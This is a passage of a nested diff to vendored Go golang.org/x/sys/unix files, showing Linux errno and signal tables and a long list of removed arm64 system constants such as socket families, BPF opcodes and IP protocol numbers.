-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go
-index c0ecd47c..9ee8d1bc 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go
-@@ -3,7 +3,7 @@
-
- // +build arm64,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include -fsigned-char _const.go
-
- package unix
-@@ -11,1858 +11,480 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x80081270
-- BLKBSZSET = 0x40081271
-- BLKFLSBUF = 0x1261
-- BLKFRAGET = 0x1265
-- BLKFRASET = 0x1264
-- BLKGETSIZE = 0x1260
-- BLKGETSIZE64 = 0x80081272
-- BLKPBSZGET = 0x127b
-- BLKRAGET = 0x1263
-- BLKRASET = 0x1262
-- BLKROGET = 0x125e
-- BLKROSET = 0x125d
-- BLKRRPART = 0x125f
-- BLKSECTGET = 0x1267
-- BLKSECTSET = 0x1266
-- BLKSSZGET = 0x1268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ESR_MAGIC = 0x45535201
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x1000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x5
-- F_GETLK64 = 0x5
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0x6
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0x7
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x8000
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
